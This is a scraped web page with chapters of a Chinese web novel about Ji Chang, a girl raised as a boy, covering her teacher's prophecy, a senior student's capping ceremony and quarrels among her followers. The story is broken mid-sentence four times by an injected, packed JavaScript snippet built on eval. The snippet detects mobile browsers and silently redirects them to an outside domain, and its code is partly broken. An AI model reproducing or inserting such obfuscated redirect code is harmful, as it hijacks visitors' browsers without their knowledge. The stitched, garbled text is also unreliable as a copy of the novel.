;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378716|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的季元鸿,她抬头看了一眼笑眯眯的老头,顺着他的话问下去。 “因为季衡年少聪慧过人?” 季元鸿笑了,然后吐出两字:“变数。” 季昶手中黑字一顿,心中慢慢琢磨这个所谓“变数”,就听季元鸿道: “卜通说我回云澜时路途中会遇变数,恰好就遇到了她。” 季昶咧嘴,心想别是这老秃头做的局,就又听季元鸿说: “当初你月姨刚捡到你时,是他深夜突然到访,指着尚在襁褓的你说此子身怀气运,将来必成大事。” 季昶抬头:“您信了?” “那当然没有,”季元鸿咧嘴一笑,“但是那时看你眼神便知你是个聪明孩子,又加上你月姨非要我收你为徒,就给你起名为季昶。” 这的确是季昶两世第一次知道,原来当初是月姨非要让老师收自己为徒的。 “看得出来,你现在成长了。”季元鸿说完,将手中的白子落下,拿起一旁的茶水看向窗外的树影,天边的飞鸟,“不像之前那般锋芒毕露,能沉淀下来,这很好。” 他之前用半辈子才明白的事,却没想到季昶能年纪轻轻就懂了,真是青出于蓝而胜于蓝。 这样想着,季元鸿欣慰的长叹一口气。 “我之前还一直担心你走我的老路。”季元鸿将茶杯放下,季昶忙拿起一旁的茶壶给他添上,“为师我当年也曾是少年天才,却因持才放狂得罪了许多世家,最后被季家除名,影响了仕途,还下了牢狱。” 季家是从他祖父那辈从上川季氏迁出来的支脉,而他本家上川季氏与如今的琉光温氏、琉光长孙氏等一同位列八公。 可以说,当年的季元鸿又何尝不是高门士族的贵公子。 季昶回想起上辈子的自己,心道您可真是我亲老师,我上辈子可不是走了您的老路了,只不过不是牢狱胜似牢狱罢了。 二人一时相对无言,季昶又思索这步棋如何走,执子落下。 “之后,你有何打算?” 季昶知道,老师之前铺垫的那些终于结束,这才是正题,于是反问道: “老师游历大乾多地,可知当今形势如何?” “乱世将近。” 季昶嘴角微勾,淡淡重复着这四个字:“乱世将近。” 又抬头看着季元鸿,道:“若,学生想要成为这终结乱世之人呐?” 话音落下,如同一滴水溅入热油,季元鸿感觉自己的呼吸都停滞了片刻,然后就是一阵狂喜涌上心头。 “学生想要将自己的道义和老师的理想一同实现。”季昶说完起身跪在地上,双目灼灼看向季元鸿。 “你可知,当年我为何要将你当作男子养?”这话似乎是从季元鸿的喉咙中挤出来,他听着自己颤抖的声音,心跳却忍不住加快。 季昶摇摇头。 “帝星北耀,坤载天序。” 季昶震惊,抬头看着自己老师似乎变得陌生了起来,只见他面目变得狂热,缓缓道: “你可知你身上有紫气。”顿了顿又道,“不过很多人身上都有,只是或多或少,又看地利人和,不是所有有紫气的人都能称帝。” “天象与预言皆说,未来北方将有女子化龙,终结乱世。”季元鸿起身,将季昶扶起来,看着她,“而这个预言流传已久,许多人皆知,连那位也……” 不必多言,季昶紧紧抓住老师的手,她明白了,原来是这样。 怪不得上辈子自己以女子之身被乾帝招去太学,怪不得又将贺兰灏一同招去,原来是这样。 季昶借力起身,看向季元鸿:“老师,学生明白了。” 季元鸿呵呵一笑,恢复平常云淡风轻的模样,不复刚才那般。 24. 加冠 那日过后书院里就忙了起来,因为马上要到五月初了,正是季元鸿的首席大弟子、致远书院学子们的大师兄沈阅的加冠礼。 沈阅家中无其他长辈,自然是书院中的长辈们主持,他亲自去操办各处,季昶等小辈也主动去帮忙。 “老师可定下吉日了?”季昶给沈阅亲自倒了一杯茶水,与他一同坐在沈阅院落里歇息。 这几日连季昶都忙坏了,更别说沈阅本人了。 这个时代对加冠礼极为重视,小到座次站位,大到选时择日都要谨遵礼制,谨慎选择。 “老师定下了我生辰那日,冯夫子却说要初六,二人争论不休。”沈阅低头笑着饮茶,“其他夫子和长辈们也说要再找人算个日子,还未定下来。” 季元鸿作为加冠礼当天的大宾,主要负责主持加冠礼和给沈阅加冠、诵祝词等。冯夫子早年与沈阁老互为知己,沈阅没有直系长辈出席,他就暂时担任家长的位置,负责迎宾、致辞等,这前期的占卜也算是他的职责,所以在这上面他也还是很固执。而其他的夫子和长辈们大多早年也与沈阁老相识,又敬重沈氏的风骨,所以对沈阅的加冠礼都很重视。 季昶闻言挑了挑眉,这几个老头本就是犟驴,这下有的吵了:“还好月姨早就将礼服之类都安排妥当了。” 沈阅点头轻笑,其实看到这些长辈们对他的加冠礼如此上心,沈阅心里说不感动是假的,沈氏家中已经无直系长辈,旁系也难联系的上,有这些老人们时刻为他想着,他已经很幸福了。 “这赞者的人选,当真要选我?”季昶还是没忍住,开口问道,“还是再慎重些……” 赞者说白了就是加冠礼上的助手,为受冠者梳发、正冠、整理衣缨,在醴礼中递酒、协助更衣等事务。 但一般情况下赞者是邀请相似年纪或是稍微年长一些的族中子弟或志同道合的友人,对礼制流程熟悉还要有良好的容止风度。 沈氏族中能联系的上的大多是很远的旁系,这个暂且不论。 即使当今有主张自然、不受礼法束缚的风尚,但她季昶,明面上就是个十二三岁的孩童,连束发都没有,身份出身还尴尬,任是谁来看都难以担得起这个位置。 她一开始还以为会是长孙明轩或是温昭,毕竟二人家世、品行、学识和样貌都算人中龙凤,与沈阅平日里关系也算不错。 沈阅却摇摇头,看着季昶认真道:“轮身份,你我同窗多年,身为当世大儒季元鸿弟子如何担不起?轮品行,你龙章凤姿,铁骨丹心,又有几人可胜于你?” “况且,即使是看风姿,昶儿如昆山片玉,又如桂林一枝,如何担不得?”沈阅笑着补充,看向季昶的目光玩笑中带着认真。 这个年纪的孩子个子一天一个样,窜的像雨后的春笋,季昶又每日习武、饮食上也吃的比旁人多一些,个子窜的格外快,比沈阅刚回来时又高了不少,举止投足间已经隐约可见君子风度了。 季昶被嘴中的茶水呛了一下,忍不住咳了起来,主要是这么夸自己,对方还是一直敬重的师兄,任是她再如何厚脸皮也整得她怪不好意思的。 “那,咳咳,就多谢师兄看重了。”季昶接过沈阅递过来的帕子,擦完嘴后又看对方突然看向了院落门口,面露微笑似乎看到了谁。 季昶顺手将帕子踹到怀中,顺着他的目光看过去,居然是温昭和长孙明轩。 二人走进院落,似乎有什么事情要找沈阅。 几人互相行礼后一同坐下,沈阅微笑看着对方无声询问来意,就听温昭道: “刚老师他们讨论出来了,还是听冯夫子的,日子定在了初六。” 离初六还有十余日,看起来似乎时间还来得及,但需要提前联系各宾客,例如各世家闻名的长者、富有贤名的文人雅士又或是早年与沈阁老关系密切的同僚,请或是不请,请来后的座次、站位安排等又是一个需要细细琢磨的事,现在观礼宾客的名单还未完全确定下来。 更何况礼器等还需要再确定几遍,沈阅本人还得在加冠礼前三日戒斋沐浴,告庙祈福等。 当日的流程也得提前熟悉,总之定在初六时间上并不算充裕,沈阅和季昶闻言都点点头表示知晓了。 长孙明轩又开口:“叔父在那日也会出席。”他指的是云澜长孙氏这边的家主,是长孙明轩他爹的同辈兄弟,可以说是非常给面子了,毕竟沈阁老仙逝多年,而沈家就剩沈阅这一个名声不显的年轻人。 “家父庶务缠身,当日由兄长代为观礼。”温昭也开口,温家大郎温昀人如其名,季昶回想起上辈子温昀当了温家家主后的模样,朗月入怀、温润如玉,又能在乱世支持起温家这么一个大家族,是个厉害人物。 沈阅表示了自己的感谢,二人表示这是应该的。 “当日可是由季君作为赞者?”温昭又像是想起什么,看向季昶笑着询问。 沈阅点头:“昶儿不论品行学识还是风度身份皆合适,老师也同意了。”说完又冲季昶笑笑,表示着自己的支持。 季昶也不是那矫情的人,闻芳师兄都这么说了她也不多自谦什么了。 温昭看着二人的动作,面上不显,藏在桌下的手又忍不住捏住衣袍。 长孙明轩突然开口:“季昶,你可得多熟悉熟悉流程,别让老师和闻芳师兄他们看走眼了。” 温昭马上接话:“季君聪慧过人又办事可靠,定能担当重任。” 除了沈阅其余二人都因他的接话之迅速愣了一下,沈阅本人闻言笑着点头非常赞同温昭的话。 时间就这么来到了五月初六当天。 沈阅身着彩衣,立于东阶,接受着季昶为他的挽髻,其余宾客分列两侧观礼。 “好了。”季昶顺利为沈阅束好发,看着这个自己一直敬重的兄长就要在今日成人,心中莫名有些感慨。 这种吾家有儿初长成的感觉是怎么回事? 季昶将脑海中的想法丢到一边,认真看着季元鸿的致辞。 多是一些古训之类,无非就是对沈阅未来的期望,致辞过后就到了加冠时刻。 季昶在一旁捧着托盘,托盘上是缁布冠,沈阅跪坐在季元鸿面前,低头接受加冠。 “今为尔加缁布冠,明勤学之志。”季元鸿双手捧冠,低头看着沈阅又想起那位早已逝去的故友。 季昶的思绪不禁回到了上一世,那时自己是作为观礼宾客在人群中看着这场成人礼,后来就是她及笄后去了琉光城,几乎没有回过云澜,跟沈阅没再见过几面了。 他后来过得如何?是侍奉在老师身侧,还是择贤主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393718|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出仕了? “易玄服。” 沈阅随着礼唱,下去换了一身玄色衣袍,面对宾客展示。 随后紧接着进行了“再加皮弁冠”和“三加爵弁冠”的流程,因为之前沈阁老已经为沈阅起字了,故只剩下醴酒仪式、谒见尊长以接受训诫等。 “闻芳,君子佩兰,其香自远;君子闻道,其志弥坚。愿尔不负沈氏之名,担得起你祖父的期许。” 季元鸿拍拍沈阅的肩膀,周围其他的长辈有些又忆起老友,一时情绪激动,许多热泪纵横。 “是,阅必不负先人遗志。”沈阅向各为长辈们行礼,又想起年少时祖父去世时的嘱托,也跟着红了眼眶。 待冠礼到了尾声,季元鸿突然看向冯自秋,对方朝他点点头,示意他尽管说便是。 于是在众人好奇的目光中,季元鸿宣布了一个令人难以预料的消息:“各位,季某一生爱游历山水、阅人间百态,现在有了闻芳总算是可以放心去踏遍大陆了。” 沈阅冷不丁听到老师突然提到了自己的名字,又回想起之前老师对自己说的话,心中涌出一个预感,果然就听季元鸿又说:“我过两日就要再度启程,此去时间短则三四年,长则不定期。这是书院院长印,现在交于闻芳手里,我出门期间由其代掌致远书院院长一职,冯自秋和季昶辅佐。” 话音落下,满座皆哗然,季昶和沈阅对视一眼,都看到了对方眼里的惊讶。 沈阅之前一直协助季元鸿管理书院事务等,本以为是要自己辅佐其他夫子之类,却没想到直接将院长印交给自己,代掌书院! 季昶惊讶的是上辈子可没有这一出,直到自己去琉光城之前季元鸿都没有准备出去游历这么久过,为何? 难道是那日的谈话? 季昶抬头看着这个老人,对方只是笑眯眯的看着众人,却是一副并没有在开玩笑、去意已决的样子。 “到时由长孙明轩和温昭与我一同去,”季元鸿捋了捋胡子,看向这二人和他们身后的叔父、兄长。 “今昭弟得季儒教导,乃云澜温氏之幸事,族中上下必制六礼,虽微薄惟表昭弟从师如事父之心。”温昀首先表态,他早知道温昭的想法,又敬重季元鸿的品行,自家孩子能跟着老师出去游学,支持还来不及。 云澜长孙氏家主论辈分是长孙明轩的叔父,却不敢做琉光长孙氏嫡脉独孙的主。 看了长孙明轩一眼,见他笑吟吟地看着自己也不好在这里多说什么,只好跟着附和温昀的话,打算回家再问问这个好侄儿到底是怎么打算的。 长孙明轩嘴角笑意不变,浑身却散发着生人勿进的气息。 他的确是先斩后奏,没有跟家里说这件事,因为他知道如果说了家里人是断然不可能同意他离开。 但是,他想去看看这个世界的不公,是否与别人口中所说的那样。 长孙明轩看向季昶,对方正在跟沈阅说着什么,看表情似乎还没有从刚刚的惊讶中缓过神来。 你是否已经看过了? 所以那日你才赞同别人说的对么? 长孙明轩长叹口气,一转头却看到温昭也在看着远处,正是季昶和沈阅那边。 他神色突然变得古怪,嘴角的笑意也凝住,视线不断在温昭和季昶之间转换。 25. 三人 自从那日季元鸿宣布将书院代交给沈阅等人掌管后就当了甩手掌柜,而冯自秋作为教学夫子平日里主管教学事务,所以书院上下几乎都担在了沈阅身上。 哦,还有季昶这个辅佐的人,谁让她在外人看来也是难得的“闲人”呢。 季昶怀疑季元鸿这个老头早就等这一天很久了,现在都闲的能在院落里坐着睡着了。 沈阅和季昶今日来找老师汇报这几日书院内的情况,季元鸿笑眯眯听着,整个人惬意的很,颇有一副坐看云起云舒的闲适。 沈阅做事周全但也过于周全了,许多事其实自己完全就可以做主,但还是每日不辞辛苦的过来给季元鸿汇报。 季昶在一旁听着,心思也转到了别处,这几日城西那块地田地都已经该翻好的翻好、该耕种好的耕种好,房屋原本就还有部分保留还算完好,所以需要修建的也就只有一些窑厂之类的。 安排去找矿的那批人也有回信了,不过至于有多少还得需要后续的下矿开采,但只要有就是好消息,这表明她之后建造武器、工具等原料消耗这个占大头的麻烦能缓解。 等西边那块地完全建好,她的部曲队伍就要扩建了,到那时就要完全以军队的标准要求他们了,所以这也是前几日季昶说要开展部曲间比赛的原因之一。 她要快速筛选出对她忠诚又相对有组织纪律、武力值强的士兵,或是伍长、或是什长等参与到军队管理中。 “对了,老师可定好了哪日启程?弟子也好准备。”沈阅将书院事物汇报完后又想起关于老师要走的路上行李还未整理好,又开始操心这个。 “这月二十是个不错的日子,”季元鸿话音一转道,“这个由温昭他们来准备就好了,闻芳你歇息下,过来陪为师下一盘。”季元鸿招呼沈阅坐下,沈阅苦笑一声说自己还有其他书院事务婉拒了。 正巧这时又有人找上沈阅,他跟季元鸿、季昶二人道别就转身去处理其他事了,季昶心中暗想也就是闻芳师兄了,要换她累死累活的还有个闲的长毛的老头,在面前不仅不帮忙还整日无所事事,早就闹了。 季元鸿又招呼季昶,季昶也拒绝:“算了吧,弟子可不想让闻芳师兄知道我不仅不帮忙还在这儿下棋。” 老头撇撇嘴,随又高深的笑了起来,看向季昶问道:“闻芳如此贤惠,你看如何?” 季昶莫名其妙:“闻芳师兄无论内外事务皆打理的井井有条,做事靠谱效率还高,很是厉害。” 季元鸿笑意更甚,靠近季昶低声问道:“为师的意思是,作为你的贤内助如何?” 说完朗声笑了,这个年纪的老头都颇有促成别人姻缘的乐趣,季昶闻言无语,只当是他的打趣,于是随口道: “闻芳师兄作为贤内助自然是极佳人选。” 只是二人自幼相识,她把对方看作是兄长、对方视角里自己是“师弟”,怎么会在一起。 而且沈闻芳刚加冠,已到了成家的年纪,自己才虚岁十三,一时半会又不可能暴露自己女儿身的事,难不成还要让沈闻芳等自己吗?别搞笑了。 季昶还未说出剩下的话,就注意到温昭进了院落门,身后跟着一些下人,似乎是准备跟季元鸿说准备行李的事。 对方脸色有些苍白,却还是冲自己温和的笑着。季昶猜测这几日也是忙于准备出行操劳不少,毕竟这老头是啥都不管,这么想着又看了一眼季元鸿,见他又一脸深意的冲着自己笑。 这老头。 季昶跟温昭打了个招呼,表示自己要走了,季元鸿摆摆手示意她随意。 “郎君。”从季元鸿院落出来,诗语、砚秋正在院外等候,二人对视一眼不知道该怎么跟季昶说,季昶挑眉: “怎了?有什么事尽管说。” 砚秋推推诗语,示意她说,诗语只好硬着头皮向季昶行了一礼:“郎君,贺兰小郎君去了别院,看到了季初,然后现在在那边闹着呢。” “而且听说俩人还跟那个……武昌伯也起了冲突。”砚秋默默在一旁补充。 季昶大脑短路,没反应过来贺兰逸怎么去了别院,怎么跟季初碰上的,又怎么还有南玖的事。 “先走,边走边说。”季昶也算是明白了什么叫后院起火了,风风火火向外走着,诗语和砚秋也只是听其他下人们说的,具体细节也不甚清楚。 一开始是有一批物资运往月家别院,别院平时只有阿青等五六个人照料着南玖,衣食需要都是跟月家的人上报,由月家那边整合好然后运过来。 正巧上报的那人去月家碰到了跟过来帮忙的季初,这孩子这几天正好找机会表现自己呢,马上跟着去运东西去了。 结果路上遇到了没上学偷着来找季昶玩的贺兰逸。 一听是运往月家别院的,他就来了精神,反正也没事就索性跟着去看看,也正好替自己小伙伴监督着下人们干活。 这是一开始贺兰逸的想法,结果到了别院,看到搬东西的人群里有个特别积极的人,长相还十分之眼熟。小胖子定睛一看,这不是当初偷自己东西的小贼吗?还敢混进来,莫不是打算偷别的东西? 于是下令让人把季初给抓起来,季初自然是不肯就范,加上自己身份的确尴尬,只说自己是来帮忙的部曲,不是什么小贼。其他有认得季初的下人也帮着她解释,但小胖子难忘当初小贼对他造成的心理创伤,那里是这么容易就能被说动的。 贺兰逸越看越觉得她像,怀疑这人是当初从月家逃出来了,正义感爆棚怕这人是来寻仇,大声嚷嚷着这人一定是贼,又把南玖吸引来了。 二人一看怎么月家别院藏了这么一个大活人,吓了一跳。 贺兰逸不知道季昶性别,只觉得这人古怪,季初可是清楚自家郎君是女子,越看南玖这幅衣着打扮和模样越觉得这人不对,季初就把别的抛于脑后又盘问他是谁。 南玖本就对外藩人不对付,又见季初这个疑似小贼的人对自己一脸敌意,就拦下了要为他解释的阿青,故意说自己是季昶养在外的人。 这下可捅了马蜂窝,贺兰逸气的要来揍这个长得夭夭绕绕的人,不允许他坏了自己好兄弟的清白。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15404085|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是几人就纠缠在一起,作势开打,几个下人硬生生拦住他们,现在三人还在别院里两两对峙。 季昶到时看到的就是这样一副场景,她只能庆幸这几人还记得要脸,至少是关上家门闹,不然这事第二日就得传遍全城。 “郎君您可来了!”阿青在这三人之间转圜,生怕这三人把对方打了个好歹,她只是个想在月家努力打拼的小侍女,谁出点事都影响她的事业啊! 三人闻言看向季昶,季初和南玖心虚着默默无言。 季初心虚是郎君让自己平日里在庄子里老实待着,但自己为了想看郎君几眼就偷偷跟着出来运东西了,这事儿还是陈督长默许的,到时候郎君万一问责起来还得连累陈督长。 南玖心虚是因为自己刚刚口无遮拦说自己是季昶养在外边的人,这事毕竟不好听,而且看季昶不像是好龙阳的,南玖不自觉咬着下唇,想着对策。 贺兰逸这小子一点都不心虚,还觉得自己今天简直是正义感爆棚,见到季昶立刻朗声叫道:“你可来了,这个小贼刚刚要做坏事,被我捉到了!”说完指着季初,又想起另外那个不知道该怎么开口,张口半天只说:“还有这个……坏你清白!” 季昶刚刚听诗语、砚秋二人已经说了个大概,但毕竟也不是事无巨细全部了解,只好先向这几人互相介绍,别产生什么误会。 “彧璋兄,这位是贺兰将军的亲侄,贺兰逸。”说完又指向季初,“这位是我的部曲,季初。” “贺兰逸、季初,这位是武昌伯。”季昶生怕这俩人做了什么惹到南玖,虽说他这个武昌伯现在虚有其名,但上辈子的经验告诉季昶,还是最好不要招惹南玖。这人不爽是真的能整人,让人生不如死的那种。 贺兰逸和季初脸色一时变得十分精彩,季初虽说没听过什么武昌伯,但是一听是个“伯”就知道自己恐怕又惹祸了。 贺兰逸是因为他听说过那位武昌伯的”鼎鼎大名”,没想到这个长得如此……美艳的男人就是武昌伯,也语塞不知道说什么是好。 二人只好先捏着鼻子按照礼节给南玖行礼。 “若二人又什么言语上冒犯到彧璋兄的,昶在这儿替他二人赔罪,还请彧璋兄海涵。” 唉,这一天天的,不是给人处理烂摊子,就是在给人处理烂摊子的路上,可能这就是作为主公的担当吧。 “既然阿昶开口了,”南玖顿了顿,“误会一场罢了,也怪我刚刚气急说了不该说的,不过既然是阿昶的朋友也不妨事。” 南玖看着俩人勾唇,说出这么一句模棱两可的话,又转过身来一脸无辜的看着季昶,似乎在说“这俩人刚刚合起伙来欺负我,但我心善不与他们计较”。 这一口一个“阿昶”叫的贺兰逸心里直犯恶心,他跟季昶这么多年的情谊,他都从来没这么叫过季昶,真是……又想起现在贺兰家正在风口浪尖,硬生生忍下了。 季初又想起刚刚季昶没来时南玖说的话,见季昶也没反驳,暗中皱眉。 “阿昶留下一起吃饭吧?”南玖注视着季昶,一脸期待。 26. 忠心 南玖期待的目光实在令人难以拒绝,又加上他垂眸时那楚楚动人的模样,常人与之说话时更是不敢大声,怕唐突了他。 季昶拒绝了,她得去跟小伙伴解释一下,刚刚贺兰逸的眼神明白写着,如果她不给对方一个明确的解释,那他就会闹。 南玖也看出季昶似乎有其他的事,善解人意的点点头:“好,阿昶先去忙其他的吧,我在这里很好。”活脱脱就是一个温顺解语花的形象。 看得贺兰逸浑身鸡皮疙瘩掉一地,高低在这儿待不下去了。 季昶看了一眼默默待在一旁降低自己存在感的季初,最终也没说什么,只让她跟上,几人又浩浩荡荡回了月家。 回到月家,贺兰逸果然已经在前厅等着季昶她们了,看到季初跟着进门,一下子从椅子上站起身来,问季昶这到底是怎么一回事。 季初马上跪下,跟贺兰逸请罪。 季昶只好将那日她如何收服季初的事简单讲了一下,并解释道:“前些日子阿初不小心得罪了长孙明轩,就一直留她在庄子上,一直也没来得及跟你们说此事。” 贺兰逸跟季初本来就没多少深仇大恨,不过是初见时把他恶心够呛罢了,又看了眼跪在地下虔心道歉的季初,忍了忍憋出一句:“那本公子不跟你一般计较了,之后要跟着季昶当好人。” 又被“不小心得罪了长孙明轩”这句话吸引了,问季昶怎么一回事,季昶隐去长孙家的事,只说她言语顶撞了长孙明轩,把那日她说的话又说了一遍,不料贺兰逸闻言肃然起敬,看了两眼季初。 “还有这种事。”贺兰逸虽然年纪小,但因为从小受那些世家大族的贵公子们冷眼,也算是对季初那一番话有所感同身受,闻言更是没什么可以指摘的了,便摆摆手让季初起来。 季初愣了下,转眼看自家郎君也点头了,便起身了。 眼看事情解决了,季昶留贺兰逸吃饭,又命人去贺兰家等贺兰灏放学后也一同过来,季初作势告辞要走,被季昶拦住: “怎么,今日的训练还未完成?” 季初摇头:“不是,提前完成了才来帮忙的。”说完又看了一眼季昶的脸色,补充道,“就是来看看郎君。” 季昶笑了,让她留下来一块吃饭:“回去跟陈督长说一声,就说我又找你有事。”季初点头。 晚间餐桌上,季昶又跟贺兰灏介绍了季初。贺兰灏看出季昶对其态度的不一般,闻言对待季初也更加和颜悦色,连敬几杯,季初受宠若惊的喝了许多果子酒,反倒是最后贺兰灏喝醉了。 季昶笑着把季初的酒杯拦下,也让她别喝了,砚秋在一旁看的撇嘴。 诗语在桌下掐了一把砚秋,示意她注意点,砚秋只好是低头默默饮茶,把情绪藏住。 吃过晚饭贺兰双子就要走了,自从之前王家那俩下人自食恶果,出现了惊骇的命案后,这俩人就再也不敢很晚出门了。 也就是前些天接连发生了许多事,这几日都无人提起这事了,衙门最后也草草结案,不知是用的什么理由。 季初也顺势告辞,又被季昶拦住了,她笑着问道:“你现如今怎么变得如此小心了?” 她之前是想让季初长长记性,可也不想因此磨灭了她身上的野性,这几次接触季初都跟鹌鹑似的,小心谨慎什么话也不敢说,季昶都怀疑自己是不是把人训得狠了。 “我听陈督长跟我说起你的时候,你分明不这样啊……” 据陈督长所说,季初平日在庄子里训练积极,明面上好似比谁都听话,其实背地里桀骜不驯,经常找其他士兵的麻烦,特别是男兵那边,已经有好几个汉子过来哭诉季初闲着就过去找事,偏偏还单打独斗打不过、一群人也抓不住。 但真要论起来,似乎双方都不怎么占理,大多数也都是只能吃哑巴亏,双方一块被罚。这可苦了那些被找事的了,每天光是训练都要被累死了,还得被季初打,打完之后还得被罚着再去训练。 现在整个部曲队伍中都诡异的和平,原本还有些刺头也都不敢造次,每日躲着季初这个“大刺头”,生怕被她缠上就倒霉了。不过或许就是因为这样,陈督长也是对她又爱又恨的,逼得这个实诚人也学会了在许多事上不得不睁一只眼闭一只眼。 而且据陈督长亲口所言,还有件事令他十分纳闷:“原来有些被她经常打的,现在还上赶着找她打,她身边都好几个人跟着了,有男有女的,这俺真是不明白了。” 季初尴尬得无言,双手背在身后默默攥紧了,仿佛是被夫子告状了的学生在面对家长时只能无措地装乖。 季昶看她表情紧张,大概明白陈督长说的都是真的了,也就没再点破,只夸她训练的有长进又说让她以后见到自己不必如此小心,就让她走了。 季初长舒一口气,知道郎君没怪自己,心道之后再找人单挑的时候要换更好的理由了。 砚秋正好进院门,看季初脸上隐约露出的高兴就来气,端着药膳径直向她冲过去,装作天太黑了没看见她一般。 眼看着俩人要撞在一起了,砚秋故意道: “哎呀!对不……”结果她的话戛然而止,只见季初迅速反应过来,身形一转闪去了一旁,手中还稳稳拿着那碗药膳,正是刚刚从砚秋托盘上端走的。 “腿脚不行就别在郎君身旁做事了。”季初将药膳放回托盘上,看了砚秋一眼,淡淡嘲讽道。 她早就感觉到这个砚秋对自己有意见,刚刚走过来的动作也过于刻意了。 砚秋气的牙根痒痒,闻言压下火气,笑着故意道:“哟,几日不见咱们初妹妹有所长进啊。只是我从小跟着郎君长大,情谊非比寻常,别说腿脚不好,只要郎君需要,我就是腿断了也心甘情愿一辈子伺候郎君。” 季初眯了眯眼,砚秋对她有意见,她也早就对砚秋有意见了,平日里咋咋唬唬的,却能一直跟在郎君身侧,呵呵。 想开口反驳回去,又像想起什么似的看了一眼室内,最后轻笑一声走了。 砚秋看她这副样子,气的火气直冒,又顾念着到了季昶用药膳的时间了,于是哼了一声转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416056|166333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进门。 “刚刚那是怎么了?”季昶低头喝着药膳,随口问砚秋。 诗语在一侧给砚秋使眼色,砚秋张了张口把原本要骂季初的话咽了下去,只道:“刚刚天黑没看清,差点撞到季初了。” 季昶闻言点点头,突然问道:“你们是几岁时进的月家?” 砚秋一时没反应过来,诗语连忙道:“我与砚秋四岁时就进了月家。” “是呀,那时人牙子不给吃饱饭,我跟诗语长得瘦小,没人愿意买都快饿死了,幸亏主子仁慈买了我们两个。”砚秋回想起那时候,又滔滔不绝了起来,从小时候人牙子有多坏,自己现在还记得真真的,又说到那时候月云华真是大善人,愿意给她们两姐妹吃饱饭,后来又说到了季昶小时候。 季昶和诗语都听着她说,直到她说到季昶天资聪颖将来肯定是要当大官的时候,季昶终于打断了她。 “是啊,我也记得,小时候天冷了咱们三人还睡在一张床上。”季昶说完,拉起了诗语和砚秋的手,道:“所以咱们的情谊是不同的,你们不仅是贴身伺候我的侍女,更是从小陪我长大的姐姐们。” 二人这才反应过来,郎君这是知道了,闻言都低下了头。 “我看重季初,是因为未来的她会成为一把利刃,她天资如何你们也知道吧?”每次陈督长来给季昶汇报的时候,诗语和砚秋都在一侧旁听,季初如何她俩自然是清楚。 “未来,我可能会有更多其他的帮手,但你们二位是我永远的左膀右臂,是我永远最信任的人。” 诗语跪了下来,红了眼眶,砚秋也心中一片火热,跟着跪了下来。 “你们会一直陪着我的,对吗?”季昶看向二人,分别攥着二人的手。 “无论郎君您去哪儿,我都跟随。”诗语看向季昶,强忍着眼中的热泪,一字一句认真道。 “我也是。”砚秋也双手紧握住季昶,连连点头。 季昶将二人扶起来,抱着她们:“只要我还活着,就定保你们二人一世荣华富贵。” 她低头埋进二人怀里,强忍心中酸涩,她又想起上一世反抗慕容桓时,她们二人一直跟随自己一路杀进慕容桓寝宫,却为了护住自己死在了乱剑之下。 砚秋闻言笑出了声,道:“这倒是,现在我穿的用的,和寻常世家的小姐似的,就是嫁给官老爷当妾也比不上。” 诗语也笑着打趣:“怎么,之前及笄时,你不是说不嫁人。” 之前砚秋和诗语及笄时,季昶专门让月云华给二人办了一场及笄礼,把二人感动的稀里哗啦的,砚秋当场表示自己要跟着郎君一辈子,绝对不嫁人。 季昶也顺势道:“哦,我还记得砚秋说要嫁只能嫁给我来着,亏我还当真了,当时好感动。” 砚秋立马急了:“我什么时候说要嫁人!”然后抓着季昶的手,表忠心:“砚秋一辈子跟着郎君,你别听诗语乱说。” “哦,那我就信你吧。”季昶悠悠开口,跟诗语相视一笑。 哎呀,逗砚秋真好玩。